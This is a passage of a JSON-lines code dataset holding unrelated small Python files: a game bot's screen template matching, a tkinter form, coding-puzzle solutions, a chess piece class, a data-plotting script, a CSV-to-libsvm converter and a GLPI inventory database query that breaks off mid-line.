cv.imread('pictures/commonOrb.png')\n if(orb_type == 'rare'):\n template = cv.imread('pictures/rareOrb.png')\n if(orb_type == 'legendary'):\n template = cv.imread('pictures/legendaryOrb.png') \n\n res = cv.matchTemplate(screen, template, cv.TM_CCOEFF_NORMED)\n\n threshold = .7\n loc = numpy.where(res >= threshold)\n #print(loc)\n\n loc0 = loc[0]\n if(len(loc0) == 0):\n return (0, 0)\n else:\n loc00 = loc0[0]\n loc1 = loc[1]\n loc10 = loc1[0]\n location = (loc10, loc00)\n return location\n\ndef find_items_on_champs():\n # find more than one item from same type\n screenshot = pyautogui.screenshot()\n screenshot.save('pictures/screen.png')\n screenshot = cv.imread('pictures/screen.png')\n screen = screenshot[coordinates.crop_image_top_cut:1080, 0:1920]\n\n templates = ['pictures/negatron.png', 'pictures/bow.png', 'pictures/bf.png', 'pictures/chain.png', 'pictures/giants.png', 'pictures/rod.png', 'pictures/tear.png', 'pictures/gloves.png', 'pictures/spatula.png']\n item_names = ['NegatronCloak', 'RecurveBow', 'BFSword', 'ChainVest', 'GiantsBelt', 'NeedlesslyLargeRod', 'TearoftheGoddess', 'SparringGloves', 'Spatula']\n result = []\n for i in range(len(templates)):\n #print(i)\n template = cv.imread(templates[i])\n res = cv.matchTemplate(screen, template, cv.TM_CCOEFF_NORMED)\n\n threshold = .8\n loc = numpy.where(res >= threshold)\n #print(loc)\n\n loc0 = loc[0]\n if(len(loc0) == 0):\n location = (0, 0)\n continue\n else:\n loc00 = loc0[0]\n loc1 = loc[1]\n loc10 = loc1[0]\n location = (loc10, loc00)\n\n result.append(location)\n result.append(item_names[i])\n\n return result\n\ndef get_item_bench_layout():\n screenshot = pyautogui.screenshot()\n screenshot.save('pictures/screen.png')\n\n screen = cv.imread('pictures/screen.png')\n template1 = cv.imread('pictures/screen_item_bench1_cropped.png')\n template2 = cv.imread('pictures/screen_item_bench2_cropped.png')\n \n res1 = cv.matchTemplate(screen, template1, cv.TM_CCOEFF_NORMED)\n res2 = cv.matchTemplate(screen, template2, cv.TM_CCOEFF_NORMED)\n\n threshold = .95\n loc1 = numpy.where(res1 >= threshold)\n loc2 = numpy.where(res2 >= threshold)\n print(loc1)\n print(loc2)\n\n locUno0 = loc1[0] \n locDos0 = loc2[0]\n if(len(locUno0) == 0 and len(locDos0) == 0):\n print(\"neither found\")\n return 0\n if(not len(locUno0) == 0 and not len(locDos0) == 0):\n print(\"found both, change threshold\")\n return -1\n if(not len(locUno0) == 0 and len(locDos0) == 0):\n print(\"found variant 1\")\n return 1\n if(len(locUno0) == 0 and not len(locDos0) == 0):\n print(\"found variant 2\")\n return 2\n\ndef set_champ_lvl():\n print(\"start func\")\n screenshot = pyautogui.screenshot()\n screenshot.save('pictures/screen.png')\n\n screen = cv.imread('pictures/screen.png')\n template1 = cv.imread('pictures/sd.png')\n template2 = cv.imread('pictures/sd2.png')\n template3 = cv.imread('pictures/sd3.png')\n\n templates = [template1, template2, template3]\n\n for i in range(len(comps.lux_comp_star_coords)):\n window_coords = comps.lux_comp_star_coords[i]\n window_coords_min = window_coords[0]\n window_coords_max = window_coords[1]\n screen_window = screen[window_coords_min[1] : window_coords_max[1], window_coords_min[0] : window_coords_max[0]]\n # cv.imshow(\"screen_window\", screen_window)\n # cv.waitKey(0) \n for l in range(3):\n template = templates[l]\n res = cv.matchTemplate(screen_window, template, cv.TM_CCOEFF_NORMED)\n\n threshold = .83\n loc = numpy.where(res >= threshold)\n\n if(len(loc[0]) != 0):\n print(comps.lux_comp_champs_list[i])\n print(l + 1)\n\n # if intended star lvl is reached for this champ\n if(l + 1 >= comps.lux_comp_stars[comps.lux_comp_champs_list[i]]):\n comps.lux_comp_champs_max_star_reached[comps.lux_comp_champs_list[i]] = True","repo_name":"helloworldstyle/tft-bot","sub_path":"src/ocrFunctions.py","file_name":"ocrFunctions.py","file_ext":"py","file_size_in_byte":10766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74650549912","text":"import tkinter as tk\r\n\r\ndef cadastro():\r\n name = entry_name.get()\r\n email = entry_eamil.get()\r\n senha = entry_senha.get()\r\n\r\nroot = tk.Tk()\r\nroot.title('CADASTRO')\r\n\r\nlabel_name = tk.Label(root, text='NOME')\r\nentry_name = tk.Entry(root)\r\n\r\nlabel_email = tk.Label(root, text='EMAIL')\r\nentry_email = tk.Entry(root)\r\n\r\nlabel_senha = tk.Label(root, text='SENHA')\r\nentry_senha = tk.Entry(root)\r\n\r\nbtn = tk.Button(root, text='clique aqui', command=cadastro)\r\nbtn.pack()\r\n\r\nlabel_name.pack()\r\nentry_name.pack()\r\n\r\nlabel_email.pack()\r\nentry_email.pack()\r\n\r\nlabel_senha.pack()\r\nentry_senha.pack()\r\n\r\nroot.mainloop()\r\n","repo_name":"KvnNews/Senai_Hermenegildo_Campos","sub_path":"Aula 23/cadastro_tkinter.py","file_name":"cadastro_tkinter.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31315073906","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def isPalindrome(self, head: Optional[ListNode]) -> bool:\n middle = self.middleNode(head)\n \n secondHalfReversedHead = self.reverseList(middle)\n \n curFirstHalf = head\n curSecondHalf = secondHalfReversedHead\n \n while curFirstHalf and curSecondHalf:\n if curFirstHalf.val != curSecondHalf.val:\n return False\n \n curFirstHalf = curFirstHalf.next\n curSecondHalf = curSecondHalf.next\n\n return True\n\n def middleNode(self, head: Optional[ListNode]) -> Optional[ListNode]:\n middle = head\n end = head\n\n while ((end != None) and (end.next != None)):\n middle = middle.next\n end = end.next.next\n\n return middle\n\n def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n current = head\n prev = None\n \n while current:\n forward = current.next\n \n current.next = prev\n prev = current\n \n current = forward\n \n return prev","repo_name":"Wenceslauu/leetcode-solutions","sub_path":"palindrome-linked-list/palindrome-linked-list.py","file_name":"palindrome-linked-list.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9141829114","text":"n=int(input())\nr=[]\nfor _ in range(n):\n s,t=map(int,input().split())\n\n r.append([s-t,s+t])\n\nr=sorted(r,key=lambda x: x[1])\n\n\nans=[r[0]]\nfor i in range(1,n):\n if r[i][0]>=ans[-1][1]:\n ans.append(r[i])\n\n \n\n\nprint(len(ans))","repo_name":"Nikkuniku/AtcoderProgramming","sub_path":"Other/キーエンス2020/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"34327276913","text":"import zhihu_downloader\nimport html_parser\nimport url_manager\nimport zhihu_collect\n\n\nclass Main(object):\n def __init__(self):\n self.urls = url_manager.UrlManager()\n self.downloader = zhihu_downloader.HtmlDownloader()\n self.parser = html_parser.HtmlParser()\n self.outputer = zhihu_collect.HtmlOutputer()\n\n def draw(self, first_url):\n count = 1\n self.urls.add_new_url(first_url)\n while self.urls.has_new_url():\n try:\n new_url = self.urls.get_new_url() # 返回url列表的pop\n print('craw %d:%s' % (count, new_url))\n html_content = self.downloader.download(new_url) # 返回的是页面的html\n link, new_data = self.parser.parse(new_url, html_content) # 返回新的url和img列表\n self.urls.add_new_urls(link)\n self.outputer.collect_data(new_data)\n count += 1\n if count == 3:\n break\n except Exception as e:\n print('craw faild', e)\n self.outputer.output_html()\n\n\nif __name__ == '__main__':\n rout_url = 'http://jandan.net/ooxx'\n spider7 = Main()\n spider7.draw(rout_url)\n","repo_name":"yokaki/spiders","sub_path":"meizi_spider/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"24062269004","text":"import numpy as np\r\n\r\nfrom Piece import Piece\r\n\r\n\r\nclass Bishop(Piece):\r\n def __init__(self, isWhite, pos,serial):\r\n Piece.__init__(self, isWhite, pos, \"B\",serial)\r\n self.value = 40 - 80 * (self.isWhite)\r\n\r\n # check if bishop can perform move\r\n def canMakeMove(self, new, logicBoard):\r\n\r\n if self.pos[0] - self.pos[1] == new[0] - new[1]: # top --> bottom\r\n if self.pos[0] < new[0]:\r\n logicBoard = logicBoard[self.pos[0]:new[0] + 1, new[1]:self.pos[1] + 1]\r\n else:\r\n logicBoard = logicBoard[new[0]:self.pos[0] + 1, new[1]:self.pos[1] + 1]\r\n\r\n line = logicBoard.diagonal()\r\n return np.all(line[1:-1] == None)\r\n\r\n elif self.pos[0] + self.pos[1] == new[0] + new[1]: # bottom --> top\r\n if self.pos[0] < new[0]:\r\n logicBoard = logicBoard[self.pos[0]:new[0] + 1, self.pos[1]:new[1] + 1]\r\n else:\r\n logicBoard = logicBoard[new[0]:self.pos[0] + 1, self.pos[1]:new[1] + 1]\r\n\r\n line = np.diagonal(np.fliplr(logicBoard))\r\n return np.all(line[1:-1] == None)\r\n\r\n return False\r\n\r\n # returns all potential moves\r\n def getMoves(self, logicBoard):\r\n return self.getMovesDiag(logicBoard, 1) + self.getMovesDiag(logicBoard, -1)\r\n\r\n # returns the potential moves on diagonal by direction (1 --> main -1 --> secondary)\r\n def getMovesDiag(self, logicBoard, direction):\r\n moves = []\r\n\r\n # moves over bishop\r\n row = self.pos[0] - 1\r\n col = self.pos[1] - direction\r\n\r\n while (-1 < row < 8 and -1 < col < 8) and logicBoard[row, col] is None:\r\n moves.append((row, col))\r\n row -= 1\r\n col -= direction\r\n\r\n if -1 < row < 8 and -1 < col < 8:\r\n if logicBoard[row, col].isWhite != self.isWhite:\r\n moves.append((row, col))\r\n\r\n # moves under bishop\r\n row = self.pos[0] + 1\r\n col = self.pos[1] + direction\r\n\r\n while (-1 < row < 8 and -1 < col < 8) and logicBoard[row, col] is None:\r\n moves.append((row, col))\r\n row += 1\r\n col += direction\r\n\r\n if -1 < row < 8 and -1 < col < 8:\r\n if logicBoard[row, col].isWhite != self.isWhite:\r\n moves.append((row, col))\r\n\r\n return moves\r\n\r\n","repo_name":"natymeitav/Chess_AI","sub_path":"pieces/Bishop.py","file_name":"Bishop.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"6991773988","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/8/11 上午11:41\n# @Author : dataport\n# @File : __init__.py.py\n# @Software: PyCharm\nfrom itertools import chain\na = chain({3:4,4:5},[2,3])\n# a = [1]+[2,3]\nfor i in a:\n print(i)","repo_name":"jonbenzhang/python-","sub_path":"python_package_learn/test/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74096095191","text":"from wcwidth import wcswidth, wcwidth\n\nfrom itertools import chain\n\nfrom save_and_load import clean_name\nfrom utils import logger\n\n\nclass AliasTakenError(Exception):\n def __init__(self, taken):\n self.taken = taken\n\n def __str__(self):\n return f\"Aliases {self.taken} are already claimed by other players.\"\n\n\nclass Identity:\n \"\"\"Class used to uniquely identify a player.\n\n Contain all information concerning the player that are independant\n from any ranking.\n \"\"\"\n discord_id = None\n aliases = None\n _display_name = None\n\n def __init__(self, discord_id, aliases):\n self.discord_id = discord_id\n self.aliases = set(aliases)\n\n def __repr__(self):\n return f\"Identity associated to aliases {self.aliases}\"\n\n @property\n def display_aliases(self):\n return \"\\n\".join(self.aliases)\n\n @property\n def display_name(self):\n if self._display_name is None:\n if len(self.aliases) > 0:\n return list(self.aliases)[0]\n else:\n return \"???\"\n\n else:\n return self._display_name\n\n @display_name.setter\n def display_name(self, name):\n self._display_name = name\n\n @property\n def leaderboard_name(self):\n text = self.display_name\n text_len = wcswidth(self.display_name)\n\n one_space_count = 0\n two_space_count = 0\n for char in text:\n char_len = wcwidth(char)\n if char_len == 1:\n one_space_count += 1\n elif char_len == 2:\n two_space_count += 1\n is_asian = two_space_count > one_space_count\n\n width_size = 20\n if is_asian: # must be 22 width (width_size + 2)\n if text_len > (width_size + 2): # add characters until 22\n current_len = 0\n formatted_text = u\"\"\n for char in text:\n formatted_text += char\n current_len += wcwidth(char)\n if current_len == (width_size + 2):\n break\n elif current_len == (width_size + 3):\n formatted_text = formatted_text[:-1] + u\" \"\n break\n return formatted_text\n elif text_len < (width_size + 2): # add ideographic space ( ) until 22 or 21\n current_len = text_len\n formatted_text = text\n while current_len != (width_size + 2):\n formatted_text += u\" \"\n current_len += 2\n if current_len == (width_size + 3):\n formatted_text = formatted_text[:-1] + u\" \"\n break\n return formatted_text\n elif not is_asian: # must be 20 width\n if text_len > width_size:\n return text[:width_size]\n elif text_len < width_size:\n return text + u\" \" * (width_size - text_len)\n else:\n return text\n\n @property\n def is_claimed(self):\n return self.discord_id is not None\n\n\nclass IdentityManager:\n def __init__(self):\n self.alias_to_identity = {}\n self.alias_to_identity_keys = []\n self.discord_id_to_identity = {}\n self.identities = set()\n\n def __getitem__(self, searchkey):\n try:\n if type(searchkey) == str:\n try:\n return self.alias_to_identity[searchkey]\n except KeyError:\n return self.discord_name_to_identity[searchkey]\n elif type(searchkey) == int:\n return self.discord_id_to_identity[searchkey]\n else:\n raise TypeError(f\"Searchkey for IdentityManager should be \"\n f\"either int or str not {type(searchkey)}.\")\n except KeyError:\n raise IdentityNotFoundError(searchkey)\n\n def __iter__(self):\n return iter(self.identities)\n\n @property\n def aliases(self):\n return self.alias_to_identity_keys\n\n def add_identity(self, discord_id=None, aliases=set()):\n identity = Identity(discord_id, aliases)\n self.identities.add(identity)\n\n for alias in aliases:\n self.alias_to_identity[alias] = identity\n self.alias_to_identity_keys.append(alias)\n\n if discord_id is not None:\n self.discord_id_to_identity[discord_id] = identity\n\n return identity\n\n @property\n def claimed_aliases(self):\n return list(chain.from_iterable([identity.aliases for identity\n in self.claimed_identities]))\n\n @property\n def claimed_identities(self):\n return [identity for identity in self.identities if identity.is_claimed]\n\n @property\n def discord_name_to_identity(self):\n return {iden.display_name: iden for iden in self.claimed_identities}\n\n def is_claimed(self, alias):\n return alias in self.claimed_aliases\n\n def load_data(self):\n logger.info(\"Building PlayerManager.\")\n logger.info(\"PlayerManager - Fetching alias tables.\")\n\n try:\n logger.info(\"Fetching saved alias table.\")\n with open(\"data/aliases.csv\", \"r\", encoding=\"utf-8\") as file:\n for line in file:\n discord_id, *aliases = line.split(\",\")\n discord_id = int(discord_id)\n\n if isinstance(aliases, str):\n aliases = [aliases]\n\n aliases = [alias.strip() for alias in aliases]\n self.add_identity(discord_id=discord_id, aliases=aliases)\n\n except FileNotFoundError:\n logger.warning(\"No saved alias table found.\")\n\n def save_data(self):\n logger.info(\"Aliases file overriden.\")\n\n with open(\"data/aliases.csv\", \"w\", encoding=\"utf-8\") as file:\n for discord_id, identity in self.discord_id_to_identity.items():\n aliases = [clean_name(alias) for alias in identity.aliases]\n file.write('{},{}\\n'.format(discord_id, ','.join(aliases)))\n\n\nclass IdentityNotFoundError(Exception):\n def __init__(self, searchkey=None):\n self.searchkey = searchkey\n\n def __str__(self):\n if self.searchkey is None:\n return \"Tried to find player without giving an identifier.\"\n\n return f\"No player found with identifier {self.searchkey}.\"\n","repo_name":"Kolaru/Kaml","sub_path":"src/identity.py","file_name":"identity.py","file_ext":"py","file_size_in_byte":6480,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"29810594568","text":"# 참고: https://blog.encrypted.gg/1029\n\nclass Node:\n def __init__(self, left, right):\n self.left = left\n self.right = right\n\n\nn = 0\ntree = [Node(None, None) for _ in range(17)]\nvisited = [False] * (1 << 17)\ndata = []\nanswer = 0\n\n\ndef dfs(state):\n global answer\n\n # 방문한적이 있는 상태인 경우\n if visited[state]:\n return\n visited[state] = True\n # 현 상태의 양과 늑대의 수를 검사\n wolf = 0\n sheep = 0\n for i in range(n):\n if state & (1 << i):\n # 양\n if data[i] == 0:\n sheep += 1\n # 늑대\n else:\n wolf += 1\n # 양이 다 잡아 먹히는 경우\n if sheep <= wolf:\n return\n # 갱신\n answer = max(answer, sheep)\n # 다음 상태 진행\n for i in range(n):\n if not (state & (1 << i)):\n continue\n if tree[i].left is not None:\n dfs(state | (1 << tree[i].left))\n if tree[i].right is not None:\n dfs(state | (1 << tree[i].right))\n\n\ndef solution(info, edges):\n global n, tree, data, answer\n\n # 트리 초기화\n n = len(info)\n for edge in edges:\n parent, child = edge\n if tree[parent].left is None:\n tree[parent].left = child\n else:\n tree[parent].right = child\n\n data = info[:]\n dfs(1)\n\n return answer\n","repo_name":"zoolake/pythonPS","sub_path":"programmers/양과 늑대.py","file_name":"양과 늑대.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"5380272901","text":"import json\nimport os\n\nimport cairosvg\nimport requests\nimport pandas as pd\n\nurl = 'http://cubiclealgdbimagegen.azurewebsites.net/generator'\n\nwith open('config.json', 'r') as f:\n puzzles = json.load(f)\n\ndef generate_png(row, generator_params, path):\n os.makedirs(path, exist_ok=True)\n generator_params['case'] = row['Algorithm']\n response = requests.get(url, params=generator_params, timeout=10)\n svg = bytes(response.text, 'utf-8')\n write_to = os.path.join(path, f'{row[\"Algorithm\"]}.png')\n cairosvg.svg2png(svg, scale=100, dpi=800, write_to=write_to)\n\nfor puzzle in puzzles:\n sheets = pd.read_excel(f'https://docs.google.com/spreadsheets/d/e/2PACX-{puzzle[\"sheet_id\"]}/pub?output=xlsx', sheet_name=None)\n for algo_set in puzzle['algorithm_sets']:\n sheet = sheets[algo_set['sheet_name']]\n sheet.apply(generate_png, axis='columns', generator_params={\n 'puzzle': puzzle['puzzle'],\n 'view': algo_set['view'],\n 'stage': algo_set['stage'],\n }, path=os.path.join(puzzle['dir'], algo_set['sub_dir']))\n","repo_name":"zhaoyi3264/rubiks-cube-algorithms","sub_path":"generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23423237987","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nimport pandas as pd\nimport os\n\n\"\"\"\n# ---------------------------------------------------------------------------------------------------\n# SG ANALYZER (COMPARISON BETWEEN TWO DATASET)\n# ---------------------------------------------------------------------------------------------------\n\nEXPECTS \n two .txt measurements saved from sg_multi-FOV.py or sg_single-FOV.py, \nEXPORTS \n histogram comparison between measurements (including size (log scale), mean intensity (without\n correction, log scale), \n circularity (only for size>50) and eccentricity) saved in .pdf format.\n\n# ----------------------------------\n# PARAMETERS ALLOW CHANGE\n# ----------------------------------\n\n # paths\n data_path: primary directory of data; can be commented off if not needed\n data1_path: directory of data1; recommend to be ctrl data (WT data); display in grey\n data2_path: directory of data2; recommend to be tested data (mutant data); display in red\n save_path: primary directory for output saving\n\"\"\"\n\n# --------------------------\n# PARAMETERS\n# --------------------------\n# paths\ndata_path = \"/Users/xiaoweiyan/Dropbox/LAB/ValeLab/Projects/Blob_bleacher/SG_scoring/dataAnalysis/\"\ndata1_path = \"%s/WT/data_single-FOV_WT.txt\" % data_path # ctrl data (wild type data)\ndata2_path = \"%s/CX/data_single-FOV_CX.txt\" % data_path # tested data (mutant data)\nsave_path = \"/Users/xiaoweiyan/Dropbox/LAB/ValeLab/Projects/Blob_bleacher/SG_scoring/dataAnalysis/\"\n\n\"\"\"\n# ---------------------------------------------------------------------------------------------------\n# PLEASE DO NOT CHANGE AFTER THIS\n# ---------------------------------------------------------------------------------------------------\n\"\"\"\n\n# --------------------------\n# LOAD DATA\n# --------------------------\ndata1 = pd.read_csv(data1_path, na_values=['.'], sep='\\t')\ndata2 = pd.read_csv(data2_path, na_values=['.'], sep='\\t')\n\n# --------------------------\n# OUTPUT\n# --------------------------\n\n# create saving directory\nsample_name1 = data1_path.split('\"')[0].split('.')[0].split('_')[-1]\nsample_name2 = data2_path.split('\"')[0].split('.')[0].split('_')[-1]\nstorage_path = '%s/comparison_%s-%s.txt' % (save_path, sample_name1, sample_name2)\nif not os.path.exists(storage_path):\n os.makedirs(storage_path)\n\n# Images\n# circularity\nplt.subplots(figsize=(8, 6))\nsample_num = min([len(data1[data1['size'] > 50]), len(data2[data2['size'] > 50])])\nhist_range = (0, 1.3)\nnum_bin = 50\nplt.hist(data2[data2['size'] > 50]['circ'].sample(n=sample_num), bins=num_bin, range=hist_range,\n alpha=1.0, color=(0.85, 0.35, 0.25), label=sample_name2, edgecolor=(0.2, 0.2, 0.2))\nplt.hist(data1[data1['size'] > 50]['circ'].sample(n=sample_num), bins=num_bin, range=hist_range,\n alpha=0.5, color=(0.8, 0.8, 0.8), label=sample_name1, edgecolor=(0.2, 0.2, 0.2))\nplt.xlabel('Circularity')\nplt.ylabel('Counts')\nplt.legend(loc=2, bbox_to_anchor=(0.02, 0.99))\nplt.savefig('%s/circularity_size>50_n-%d.pdf' % (storage_path, sample_num))\n\n# eccentricity\nplt.subplots(figsize=(8, 6))\nsample_num = min([len(data1), len(data2)])\nhist_range = (0, 1.0)\nnum_bin = 50\nplt.hist(data2['eccentricity'].sample(n=sample_num), bins=num_bin, range=hist_range,\n alpha=1.0, color=(0.85, 0.35, 0.25), label=sample_name2, edgecolor=(0.2, 0.2, 0.2))\nplt.hist(data1['eccentricity'].sample(n=sample_num), bins=num_bin, range=hist_range,\n alpha=0.5, color=(0.8, 0.8, 0.8), label=sample_name1, edgecolor=(0.2, 0.2, 0.2))\nplt.xlabel('Eccentricity')\nplt.ylabel('Counts')\nplt.legend(loc=2, bbox_to_anchor=(0.02, 0.99))\nplt.savefig('%s/eccentricity_n-%d.pdf' % (storage_path, sample_num))\n\n# size (in ln scale)\nplt.subplots(figsize=(8, 6))\nsample_num = min([len(data1), len(data2)])\nhist_range = (1, 6)\nnum_bin = 50\nplt.hist(np.log(data2['size'].sample(n=sample_num)), bins=num_bin, range=hist_range,\n alpha=1.0, color=(0.85, 0.35, 0.25), label=sample_name2, edgecolor=(0.2, 0.2, 0.2))\nplt.hist(np.log(data1['size'].sample(n=sample_num)), bins=num_bin, range=hist_range,\n alpha=0.5, color=(0.8, 0.8, 0.8), label=sample_name1, edgecolor=(0.2, 0.2, 0.2))\nplt.xlabel('ln(Size(pixel))')\nplt.ylabel('Counts')\nplt.legend(loc=2, bbox_to_anchor=(0.02, 0.99))\nplt.savefig('%s/ln(size)_n-%d.pdf' % (storage_path, sample_num))\n\n# intensity (in ln scale)\nplt.subplots(figsize=(8, 6))\nsample_num = min([len(data1), len(data2)])\nhist_range = (6, 10)\nnum_bin = 50\nplt.hist(np.log(data2['raw_int'].sample(n=sample_num)), bins=num_bin, range=hist_range,\n alpha=1.0, color=(0.85, 0.35, 0.25), label=sample_name2, edgecolor=(0.2, 0.2, 0.2))\nplt.hist(np.log(data1['raw_int'].sample(n=sample_num)), bins=num_bin, range=hist_range,\n alpha=0.5, color=(0.8, 0.8, 0.8), label=sample_name1, edgecolor=(0.2, 0.2, 0.2))\nplt.xlabel('ln(Intensity(AU))')\nplt.ylabel('Counts')\nplt.legend(loc=2, bbox_to_anchor=(0.02, 0.99))\nplt.savefig('%s/ln(intensity)_n-%d.pdf' % (storage_path, sample_num))\n","repo_name":"nicost/colony_blob_bleacher","sub_path":"analysis/sg_comparison.py","file_name":"sg_comparison.py","file_ext":"py","file_size_in_byte":5001,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"39286700603","text":"# Bored Board\n# The program to solve your boredom issues!\n\nimport random\n\n# Tasks now stored in separate text file.\n# tasks = [\"study Java.\",\n# \"wash up.\",\n# \"listen to a podcast.\",\n# \"empty a box!\",\n# \"read a book.\",\n# \"learn some more Python.\",\n# \"hoover.\",\n# \"clean the bathtub and sink.\",\n# \"clean the toilet.\",\n# \"clean the kitchen surfaces.\",\n# \"mop a floor.\",\n# \"do some decorating.\",\n# \"play guitar.\",\n# \"Learn Python!\"]\n\n# Open the text file containing the tasks\ntext_file = open(\"tasks.txt\", \"r\")\n# Read the tasks into a list\ntasks = text_file.readlines()\n\ndef introduction():\n # Introduction to the program\n print('Welcome to the Bored Board!')\n print(\"\"\"\n 1 - View activities\n 2 - Add an activity\n 3 - Remove an Activity\n 4 - Change an activity\n 5 - Get suggestions\n 6 - Exit\n \"\"\")\n option = int(input(\"What would you like to do? \"))\n return option\n\n\ndef printtasks():\n # Print tasks\n for i in tasks:\n print(i)\n\n\ndef suggest():\n # Runs suggestion loop\n answer = \"no\"\n\n # Make suggestions until input is 'yes'\n while answer != \"yes\":\n # Suggest a random task from the list\n print(\"You should\", random.choice(tasks))\n # prompt for input if person wants to do that task\n answer = str.lower(input(\"Do you want to do that? (yes/no) \"))\n # If no, mirror response and continue loop\n if answer != \"yes\":\n print(\"you said \", answer, \"...\")\n # If yes, break loop\n if answer == \"yes\":\n print(\"So now go do that!\")\n break\n\n# Run introduction\noptionchoice = introduction()\n\nwhile optionchoice:\n\n # Option 1 - Print tasks, then return to introduction\n if optionchoice == 1:\n printtasks()\n\n # Option 2 - Add an activity, then return to introduction\n elif optionchoice == 2:\n print(\"Function not added yet\")\n input(\"Press any key to return to the menu.\")\n\n # Option 3 - Remove activity, then return to introduction\n elif optionchoice == 3:\n print(\"Function not added yet\")\n input(\"Press any key to return to the menu.\")\n\n # Option 4 - Change an activity, then return to introduction\n elif optionchoice == 4:\n print(\"Function not added yet\")\n input(\"Press any key to return to the menu.\")\n\n # Option 5 - Run suggestions, then exit\n elif optionchoice == 5:\n suggest()\n break\n\n # Option 6 - Exit\n elif optionchoice == 6:\n input(\"Press any key to confirm exit\")\n break\n\n # Other - Print error then return to introduction\n else:\n # TODO catch characters!\n print(\"Sorry that isn't a valid choice.\")\n input(\"Press any key to return to the menu.\")\n\n optionchoice = introduction()\n\n# Close the text file.\ntext_file.close()\n","repo_name":"Froom2/BoredBoardPY","sub_path":"BoredBoard.py","file_name":"BoredBoard.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"1722502452","text":"# JOEL:\n# 1. Capturar ruta de archivo input_file y label_index.\n# 2. Ejecutar el script\n# 3. Guardar resultado en output_file (misma ruta y nombre que input_file+.libsvm)\n#!/usr/bin/env python\n\"\"\"\nConvert CSV file to libsvm format. Works only with numeric variables.\nPut -1 as label index (argv[3]) if there are no labels in your file.\nExpecting no headers. If present, headers can be skipped with argv[4] == 1.\n\"\"\"\nimport sys, csv, pandas as pd\nfrom collections import defaultdict\nimport os\n\ndef construct_line( label, line ):\n\tnew_line = []\n\n\tif float( label ) == 0.0:\n\t\tlabel = \"0\"\n\n\tnew_line.append( label )\n\n\tfor i, item in enumerate( line ):\n\n\t\tif item == '' or float( item ) == 0.0:\n\n\t\t\tcontinue\n\n\t\tnew_item = \"%s:%s\" % ( i + 1, item )\n\t\tnew_line.append( new_item )\n\tnew_line = \" \".join( new_line )\n\tnew_line += \"\\n\"\n\treturn new_line\n\ndef make_libsvm(i_file, idx):\n\tinput_file = i_file\n\tpre, ext = os.path.splitext(input_file)\n\toutput_file = pre + \".libsvm\"\n\n\tlabel_index = idx\n\n\ti = open( input_file, 'rt', encoding= 'utf8' )\n\to = open( output_file, 'wt' )\n\n\treader = csv.reader( i )\n\n\tcount = 0\n\tfor line in reader:\n\t if label_index == -1:\n\t label = '1'\n\t else:\n\t label = line.pop( label_index )\n\t count = count +1\n\t new_line = construct_line( label, line )\n\t o.write( new_line )\n","repo_name":"padiernacarlos/CIIC-232-2019","sub_path":"Interfaz_Gráfica(Prototipo_Software)/prototipo_v_0_0_1/preprocesamiento/csv2libsvm.py","file_name":"csv2libsvm.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"34722069388","text":"import traceback\nfrom contextlib import closing\nimport pymysql.cursors\nimport config\nimport logger\n\nSQL_QUERY = \"SELECT DISTINCT `glpi_softwares`.`name` AS product, `glpi_softwareversions`.`name` AS version, \" \\\n \"`glpi_manufacturers`.`name` AS vendor \" \\\n \"FROM `glpi_computers_softwareversions` \" \\\n \"INNER JOIN `glpi_softwareversions` \" \\\n \"ON (`glpi_computers_softwareversions`.`softwareversions_id` = `glpi_softwareversions`.`id`) \" \\\n \"INNER JOIN `glpi_softwares` ON (`glpi_softwareversions`.`softwares_id` = `glpi_softwares`.`id`) \" \\\n \"LEFT JOIN `glpi_manufacturers` \" \\\n \"ON (`glpi_softwares`.`manufacturers_id` = `glpi_manufacturers`.`id`) \" \\\n \"WHERE `glpi_computers_softwareversions`.`is_deleted_computer` = '0' \" \\\n \"AND `glpi_computers_softwareversions`.`is_template_computer` = '0' \" \\\n \"AND `glpi_computers_softwareversions`.`is_deleted` = '0' \" \\\n \"AND `glpi_softwares`.`is_deleted` = '0' \" \\\n \"AND `glpi_softwares`.`is_template` = '0' \" \\\n \"ORDER BY product, version\"\n\n\ndef read_inventory():\n logger.info('GLPI - reading inventory')\n try:\n with closing(connect_to_mysql_server()) as connection:\n with connection.cursor() as cursor:\n cursor.execute(SQL_QUERY)\n return cursor.fetchall()\n except:\n logger.error('GLPI - unable to read inventory')\n logger.error('MYSQL - ' + str(traceback.format_exc()))\n raise\n\n\ndef connect_to_mysql_server():\n host = config.get_inventory_database_host()\n db_name = config.get_glpi_db_name()\n user = 